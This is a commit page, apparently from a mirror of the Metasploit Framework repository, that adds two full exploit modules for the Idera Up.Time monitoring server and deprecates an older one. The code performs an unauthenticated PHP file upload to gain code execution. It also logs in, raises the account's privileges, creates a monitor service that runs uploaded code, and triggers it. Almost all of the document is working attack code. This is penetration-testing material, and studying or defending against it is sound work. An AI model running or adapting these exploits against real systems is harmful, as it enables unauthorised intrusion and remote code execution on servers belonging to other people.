Land #6142, uptime refactor
Louis Sato
commit
9a0f0a7843
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@ -11,6 +11,9 @@ class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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include Msf::Module::Deprecated
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deprecated(Date.new(2015, 11, 27), 'exploit/multi/http/uptime_file_upload_1')
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def initialize(info = {})
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super(update_info(info,
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@ -0,0 +1,103 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload',
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'Description' => %q{
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This module exploits an arbitrary file upload vulnerability found within the Up.Time
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monitoring server 7.2 and below. A malicious entity can upload a PHP file into the
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webroot without authentication, leading to arbitrary code execution.
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Although the vendor fixed Up.Time to prevent this vulnerability, it was not properly
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mitigated. To exploit against a newer version of Up.Time (such as 7.4), please use
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exploits/multi/http/uptime_file_upload_2.
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},
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'Author' =>
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[
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'Denis Andzakovic <denis.andzakovic[at]security-assessment.com>' # Vulnerability discoverey and MSF module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '100423' ],
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[ 'BID', '64031'],
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[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf' ]
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],
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'Payload' =>
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{
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'Space' => 10000, # just a big enough number to fit any PHP payload
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'DisableNops' => true
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Up.Time 7.0/7.2', { } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 19 2013'))
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register_options([
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OptString.new('TARGETURI', [true, 'The full URI path to the Up.Time instance', '/']),
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Opt::RPORT(9999)
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], self.class)
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end
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def check
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uri = target_uri.path
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'wizards', 'post2file.php')
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})
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if res and res.code == 500 and res.body.to_s =~ /<title><\/title>/
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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print_status("#{peer} - Uploading PHP to Up.Time server")
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uri = target_uri.path
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@payload_name = "#{rand_text_alpha(5)}.php"
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php_payload = get_write_exec_payload(:unlink_self => true)
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post_data = ({
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"file_name" => @payload_name,
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"script" => php_payload
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})
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print_status("#{peer} - Uploading payload #{@payload_name}")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(uri, 'wizards', 'post2file.php'),
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'vars_post' => post_data,
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})
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unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/
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fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
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end
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print_status("#{peer} - Executing payload #{@payload_name}")
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res = send_request_cgi({
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'uri' => normalize_uri(uri, 'wizards', @payload_name),
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'method' => 'GET'
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})
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end
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end
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@ -0,0 +1,408 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'nokogiri'
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class Metasploit4 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload',
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'Description' => %q{
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This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0.
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The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php,
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which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated
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by the vendor.
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Although the mitigiation in place will prevent uptime_file_upload_1.rb from working, it
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can still be bypassed and gain privilege escalation, and allows the attacker to upload file
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again, and execute arbitrary commands.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Denis Andzakovic', # Found file upload bug in post2file.php in 2013
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'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>',
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'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>'
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],
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'References' =>
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[
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['EDB', '37888'],
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['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php']
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],
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' => [['Automatic', {}]],
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'Privileged' => 'true',
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'DefaultTarget' => 0,
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# The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015,
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# it was discovered again by Ewerson 'Crash' Guimaraes.
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'DisclosureDate' => 'Nov 18 2013'
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))
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register_options(
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[
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Opt::RPORT(9999),
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OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']),
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OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample'])
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], self.class)
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register_advanced_options(
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[
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OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']),
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OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']),
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OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe'])
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], self.class)
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end
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def print_status(msg='')
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super("#{rhost}:#{rport} - #{msg}")
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end
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def print_error(msg='')
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super("#{rhost}:#{rport} - #{msg}")
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end
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def print_good(msg='')
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super("#{rhost}:#{rport} - #{msg}")
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end
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# Application Check
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def check
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path)
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)
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unless res
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vprint_error("Connection timed out.")
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return Exploit::CheckCode::Unknown
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end
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n = Nokogiri::HTML(res.body)
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uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]')
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if uptime_text
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version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first
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vprint_status("Found version: #{version}")
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if version >= '7.4.0' && version <= '7.5.0'
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return Exploit::CheckCode::Appears
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end
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end
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Exploit::CheckCode::Safe
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end
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def create_exec_service(*args)
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cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args
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res_service = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'main.php'),
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'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
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'vars_get' => {
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'section' => 'ERDCInstance',
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'subsection' => 'add',
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},
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'vars_post' => {
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'initialERDCId' => '20',
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'target' => '1',
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'targetType' => 'systemList',
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'systemList' => '1',
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'serviceGroupList' => '-10',
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'initialMode' => 'standard',
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'erdcName' => 'Exploit',
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'erdcInitialName' => '',
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'erdcDescription' => 'Exploit',
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'hostButton' => 'system',
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'erdc_id' => '20',
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'forceReload' => '0',
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'operation' => 'standard',
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'erdc_instance_id' => '',
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'label_[184]' => 'Script Name',
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'value_[184]' => cmd,
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'id_[184]' => 'process',
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'name_[process]' => '184',
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'units_[184]' => '',
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'guiBasic_[184]' => '1',
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'inputType_[184]' => 'GUIString',
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'screenOrder_[184]' => '1',
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'parmType_[184]' => '1',
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'label_[185]' => 'Arguments',
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'value_[185]' => cmdargs,
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'id_[185]' => 'args',
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'name_[args]' => '185',
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'units_[185]' => '',
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'guiBasic_[185]' => '1',
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'inputType_[185]' => 'GUIString',
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'screenOrder_[185]' => '2',
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'parmType_[185]' => '1',
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'label_[187]' => 'Output',
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'can_retain_[187]' => 'false',
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'comparisonWarn_[187]' => '-1',
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'comparison_[187]' => '-1',
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'id_[187]' => 'value_critical_output',
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'name_[output]' => '187',
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'units_[187]' => '',
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'guiBasic_[187]' => '1',
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'inputType_[187]' => 'GUIString',
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'screenOrder_[187]' => '4',
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'parmType_[187]' => '2',
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'label_[189]' => 'Response time',
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'can_retain_[189]' => 'false',
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'comparisonWarn_[189]' => '-1',
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'comparison_[189]' => '-1',
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'id_[189]' => 'value_critical_timer',
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'name_[timer]' => '189',
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'units_[189]' => 'ms',
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'guiBasic_[189]' => '0',
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'inputType_[189]' => 'GUIInteger',
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'screenOrder_[189]' => '6',
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'parmType_[189]' => '2',
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'timing_[erdc_instance_monitored]' => '1',
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'timing_[timeout]' => '60',
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'timing_[check_interval]' => '10',
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'timing_[recheck_interval]' => '1',
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'timing_[max_rechecks]' => '3',
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'alerting_[notification]' => '1',
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'alerting_[alert_interval]' => '120',
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'alerting_[alert_on_critical]' => '1',
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'alerting_[alert_on_warning]' => '1',
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'alerting_[alert_on_recovery]' => '1',
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'alerting_[alert_on_unknown]' => '1',
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'time_period_id' => '1',
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'pageFinish' => 'Finish',
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'pageContinue' => 'Continue...',
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'isWizard' => '1',
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'wizardPage' => '2',
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'wizardNumPages' => '2',
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'wizardTask' => 'pageFinish',
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'visitedPage[1]' => '1',
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'visitedPage[2]' => '1'
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})
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end
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def exploit
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vprint_status('Trying to login...')
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# Application Login
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res_auth = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'vars_post' => {
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'username' => datastore['USERNAME'],
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'password' => datastore['PASSWORD']
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})
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unless res_auth
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fail_with(Failure::Unknown, 'Connection timed out while trying to login')
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end
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# Check OS
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phpfile_name = rand_text_alpha(10)
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if res_auth.headers['Server'] =~ /Unix/
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vprint_status('Found Linux installation - Setting appropriated PATH')
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phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph')
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uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards')
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cmdargs = "#{uploadpath}#{phpfile_name}.txt"
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cmd = phppath
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else
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vprint_status('Found Windows installation - Setting appropriated PATH')
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phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe')
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uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\')
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cmd = datastore['CmdPath']
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cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\""
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end
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if res_auth.get_cookies =~ /login=true/
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cookie = Regexp.last_match(1)
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cookie_split = res_auth.get_cookies.split(';')
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vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
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print_good('Login success')
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# Privilege escalation getting user ID
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res_priv = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'main.php'),
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'vars_get' => {
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'page' => 'Users',
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'subPage' => 'UserContainer'
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},
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'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
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)
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unless res_priv
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fail_with(Failure::Unknown, 'Connection timed out while getting userID.')
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end
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matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/)
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unless matchdata
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fail_with(Failure::Unknown, 'Unable to find userID for escalation')
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end
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get_id = matchdata[0].gsub(/[^\d]/, '')
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vprint_status('Escalating privileges...')
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# Privilege escalation post
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res_priv_elev = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'main.php'),
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'vars_get' => {
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'section' => 'UserContainer',
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'subsection' => 'edit',
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'id' => "#{get_id}"
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},
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'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
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'vars_post' => {
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'operation' => 'submit',
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'disableEditOfUsernameRoleGroup' => 'false',
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'username' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'passwordConfirm' => datastore['PASSWORD'],
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'firstname' => rand_text_alpha(10),
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'lastname' => rand_text_alpha(10),
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'location' => '',
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'emailaddress' => '',
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'emailtimeperiodid' => '1',
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'phonenumber' => '',
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'phonenumbertimeperiodid' => '1',
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'windowshost' => '',
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'windowsworkgroup' => '',
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'windowspopuptimeperiodid' => '1',
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'landingpage' => 'MyPortal',
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'isonvacation' => '0',
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'receivealerts' => '0',
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'activexgraphs' => '0',
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'newuser' => 'on',
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'newuser' => '1',
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'userroleid' => '1',
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'usergroupid[]' => '1'
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}
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)
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unless res_priv_elev
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fail_with(Failure::Unknown, 'Connection timed out while escalating...')
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end
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# Refresing perms
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vprint_status('Refreshing perms...')
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res_priv = send_request_cgi(
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path, 'index.php?loggedout'),
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'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
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)
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unless res_priv
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fail_with(Failure::Unknown, 'Connection timed out while refreshing perms')
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end
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res_auth = send_request_cgi(
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path, 'index.php'),
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'vars_post' => {
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'username' => datastore['USERNAME'],
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'password' => datastore['PASSWORD']
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}
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)
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unless res_auth
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fail_with(Failure::Unknown, 'Connection timed out while authenticating...')
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end
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if res_auth.get_cookies =~ /login=true/
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cookie = Regexp.last_match(1)
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cookie_split = res_auth.get_cookies.split(';')
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vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
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print_good('Priv. Escalation success')
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end
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# CREATING Linux EXEC Service
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if res_auth.headers['Server'] =~ /Unix/
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vprint_status('Creating Linux Monitor Code exec...')
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create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)
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else
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# CREATING Windows EXEC Service#
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vprint_status('Creating Windows Monitor Code exec...')
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create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)
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end
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# Upload file
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vprint_status('Uploading file...')
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up_res = send_request_cgi(
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||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'wizards', 'post2file.php'),
|
||||
'vars_post' => {
|
||||
'file_name' => "#{phpfile_name}.txt",
|
||||
'script' => payload.encoded
|
||||
}
|
||||
)
|
||||
|
||||
unless up_res
|
||||
fail_with(Failure::Unknown, 'Connection timed out while uploading file.')
|
||||
end
|
||||
|
||||
vprint_status('Checking Uploaded file...')
|
||||
res_up_check = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt")
|
||||
)
|
||||
|
||||
if res_up_check && res_up_check.code == 200
|
||||
print_good("File found: #{phpfile_name}")
|
||||
else
|
||||
print_error('File not found')
|
||||
return
|
||||
end
|
||||
|
||||
# Get Monitor ID
|
||||
|
||||
vprint_status('Fetching Monitor ID...')
|
||||
res_mon_id = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'),
|
||||
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
|
||||
'vars_get' => {
|
||||
'query' => 'GET_SERVICE_PAGE_ERDC_LIST',
|
||||
'iDisplayStart' => '0',
|
||||
'iDisplayLength' => '10',
|
||||
'sSearch' => 'Exploit'
|
||||
}
|
||||
)
|
||||
|
||||
unless res_mon_id
|
||||
fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID')
|
||||
end
|
||||
|
||||
matchdata = res_mon_id.body.match(/id=?[^>]*>/)
|
||||
|
||||
unless matchdata
|
||||
fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.')
|
||||
end
|
||||
|
||||
mon_get_id = matchdata[0].gsub(/[^\d]/, '')
|
||||
print_good("Monitor id aquired:#{mon_get_id}")
|
||||
# Executing monitor
|
||||
send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'main.php'),
|
||||
'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
|
||||
'vars_post' => {
|
||||
'section' => 'RunERDCInstance',
|
||||
'subsection' => 'view',
|
||||
'id' => mon_get_id,
|
||||
'name' => 'Exploit'
|
||||
}
|
||||
)
|
||||
else
|
||||
print_error('Cookie not found')
|
||||
end
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue